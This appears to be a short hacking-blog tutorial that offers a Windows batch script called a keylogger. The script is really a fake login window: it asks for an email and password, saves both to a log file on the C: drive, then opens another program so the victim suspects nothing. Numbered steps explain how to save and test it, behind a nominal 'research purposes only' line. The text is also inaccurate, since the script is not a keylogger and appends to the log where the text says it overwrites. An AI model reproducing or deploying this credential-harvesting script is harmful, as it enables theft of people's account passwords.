How to create a keylogger in notepad


Here is a basic keylogger script for beginners to understand the basics of how keylogging works in notepad. This script should be used for research purposes only.

@echo off
color a
title Login
cls
echo Please Enter Email Adress And Password
echo.
echo.
cd "C:\Logs"
set /p user=Username:
set /p pass=Password:
echo Username="%user%" Password="%pass%" >> Log.txt
start >>Program Here<<
exit
 
Step 1: Now paste the above code into Notepad and save it as a Logger.bat file.

Step 2: Make a new folder on the desktop and name it Logs (If the folder is not called Logs, then it will not work.)

Step 3: Drag that folder in to the C:\

Step 4: Test out the Logger.bat!

Step 5: Alright, now once you test it, you will go back into the Logs folder in the C:\ and a .txt file will be in there, [if you make a second entry, the .txt file will overwrite itself.]

credit: www.latesthackingnews.com

Comments